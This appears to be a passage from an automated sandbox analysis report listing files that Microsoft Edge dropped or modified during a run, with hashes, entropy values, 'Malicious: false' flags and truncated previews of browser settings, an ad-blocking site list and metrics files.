Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"8eb4b01d-40bd-406e-9cf8-a93bdef1300e"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3adb9694-34ee-4301-b686-d63b3ea1cbde.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.089485925600901
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4k3TKKGf4S7tBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynYt5b7VLyMV/YoskFoz
MD5:	4E46102244AAA2306A155654D30DAF97
SHA1:	86D5BD25BB5B6A72311C80AE82EF06583E579F46
SHA-256:	C7E8F9067DF9581FC99BB1AA99989F899FBD34061DD91CA294615219CEBE09C7
SHA-512:	58D257CC381780FD8AF330211B1212F596383463EBF8440E0A8667A77E781FAFE80E27321F337C0CA83A73FBD78B8E4D77D780601AE91C8BD1CF6009D6CCB0AF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\3ffb03fc-3f11-4a5d-b71b-293da38d3440.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44695
Entropy (8bit):	6.095302183716903
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kpPKKGf4oOcoH1FDOPuKFPdFuvN7DRo+yM/42cRaLM5:z/Ps+wsI7yn3coH1/N7VLyMV/YoskFoz
MD5:	D3DF05ADA07945B2499D8035FD0DB1B3
SHA1:	299F8888EAD49A07F9EA5DF03924BF29220184AE
SHA-256:	E59A465B9F000AE02BFCE3C3F9EA38BDC08CF0BD06EF7E4DEFE621F44D911448
SHA-512:	2CCDC16B5170ED2E318A1642AF61B87B6A105453049325105A0A626BB64809DC2B1EEDD3A6773DCD859BFD8C7F5BBF3DC3262391ED0BA1F321220D96865FFC6E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\141fd88f-cdb2-481c-b29f-a5c56e7df070.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.6401415786958475
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7L:fwUQC5VwBIiElEd2K57P7L
MD5:	8574D972959B295FEA388493B825FDF1
SHA1:	388510DBD841625F1DFFC1347A4C41B8AF07B23C
SHA-256:	8520149C20006B78EBBDCD489C459D56B922C235102433F8D4C5A440ABA6E776
SHA-512:	E50D2B5D7ED6A634865875A570CA441CD6C3AA68ED181C4329E2BDE3AA06929DA02E4D1900691C88B3D7A501AB5223140969CCDE4C2B670F0937A2A75DFA763D
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E5477-1B20.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4496677751245084
Encrypted:	false
SSDEEP:	3072:Za5/6voZ420WBIXcKT7KRmah2gqPf3c4AjIP78PQqL0iLKh4g1HFN:0/6t/cKTGRmai6Iz8PQqoiLKh4aH3
MD5:	974D6BEB6AB9768697EC8DF0152C3CAD
SHA1:	F42CEF6F310F9D4CFAB9FEEEFF94412A9FECF1B4
SHA-256:	8A69B76C27A6E99942E2A37A89D1BEB8BA36C443D89FE77D70599F6BEFD20CBD
SHA-512:	C50A8AEA6973A3D0E1B2DCADF93D12E533F875F1377E5104DF2BD259D14E373C137BC4617ADE8C15119A8234E71CA1945A4D773938C7B4F843845673ECA56581
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".raqail20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J...I.r.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K...G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673E5477-1F2C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04725649277642596
Encrypted:	false
SSDEEP:	192:pnb0m5tm9nOAU5YEJPi6VBKP7+HfgHXXMInMEYTwghBMNsb+zRQcHgPJr9cSn8ys:Zb0UtaiN42phqPVLkBcS08T2RGOD
MD5:	A807F48EDCABE25BB08A20657FAEE2A9
SHA1:	971E506780E2782F2E4848EC19F3296E4BE9BE4F
SHA-256:	46B64F9B904FD15025A287FDE67FDF7E844F6540E149C7C67D5E1F970BAA9418
SHA-512:	AB52D4015E02798D4E65970BAC04FDB39204AB6C4A4B66A8102F9CCF32B91CCA0CD6C9E5A3A1376AC94D8188ED9834E4689BD041CBBAAFA297B5F9C2B75264DF
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".raqail20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U..G...W6.>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2..........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\51d66606-ee86-40ae-b58b-5b9e970f1fe5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9497
Entropy (8bit):	5.104045007496738
Encrypted:	false
SSDEEP:	192:stekdpksTG4yaNP9kP4h8ibV+FdlQAihPnYJ:steQksC4tJXbGzQW
MD5:	22F8BEABAF1EB6D80700ACE37D45DBD5
SHA1:	4B67765AECB09B925D6390C0F1538FBFD19B9944
SHA-256:	678A63A8908D2128AD780E863A4E58FFBB989578427C75407E3FD0747D8458F9
SHA-512:	741E0FE805A58946A1527AE08DB89D92B81F68B69E753588012AB16DC969941B2733B04CE6E59B48E3ECE5C879D57E7835B19C267F581BA0B9BF70299D856394
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\546244da-0211-44e9-9a5e-82caac683706.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\68bf3520-1c88-4cb6-9ae6-416e1d946332.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17282), with no line terminators
Category:	dropped
Size (bytes):	17284
Entropy (8bit):	5.49274405107897
Encrypted:	false
SSDEEP:	384:stePGQSu4ksC4tJr2Alw5nl38SbGzQwqj:sUOXul4XSbGs/
MD5:	1472859FA821F9EA5DE7089EF1B0ADD0
SHA1:	C15C2AD881B83EB62FF6C922078DF1CE9E35B21D
SHA-256:	8E3DF8D7912EC611525D257CB6CC658336ECC4AD856076F6BEA1152D2FFEF379
SHA-512:	18771F0016BD4919DB6FC361364135AD270EA74A5B3FA628AFF7F3836BA5FFC0E43B00449A12DC756B0CA66F6AB69054DD11F20D609DAA395D766C9193437657
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\8639ba30-dd64-4245-b0a9-3de55cd76dc3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17117), with no line terminators
Category:	dropped
Size (bytes):	17119
Entropy (8bit):	5.4962237362044055
Encrypted:	false
SSDEEP:	192:steJ99QTryDiuabatSuypksTG4yaNPr2Ank3NQECxK5uglMe8Mh8ibV+FdlQwKiC:stePGQSu4ksC4tJr2Alw5nl38SbGzQwg
MD5:	80A058D30036E659E64F1A55B7A88ACB
SHA1:	605BDB375F4A87CF6CF923CC89934500225BBCBA
SHA-256:	16CB6A9387A6BBEED768B3DCFCA4CC2B641493FCC6ED03AE64E4D42BCDABEB90
SHA-512:	7C9F529C1BD7697BA19F996EF8528301520A2B08029E631978CD84B198DD9204358656B32A5523A4DE5A35241DD15E3F301FD08E0257F5CF8151ADBC87939600
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\93150748-1a34-49e1-b3f3-c24bdf607249.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17282), with no line terminators
Category:	dropped
Size (bytes):	17284
Entropy (8bit):	5.492639991984265
Encrypted:	false
SSDEEP:	384:stePGQSu4ksC4tJr2Alw5nl38SbGzQw8ej:sUOXul4XSbGsW
MD5:	8AA37CFB23511113C57B64FA732587E2
SHA1:	FECAB847430523AD4D519E52F0C64B5696D4179F
SHA-256:	833730E147B8CA641DE31B910272962FD09580AD1C5C43B2AC2AC81270D3AFD8
SHA-512:	377E2C2AD9A64C04234FA65586CB298537603EFE5D8D29E818A6C8C6B8B6A5F03272DAAEC7E76467D44B84677111F1D745ACFC877050113860FD69C9407B5B50
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376611704745274","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\95e5f7bf-2ab9-418f-9e87-ca956e677009.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
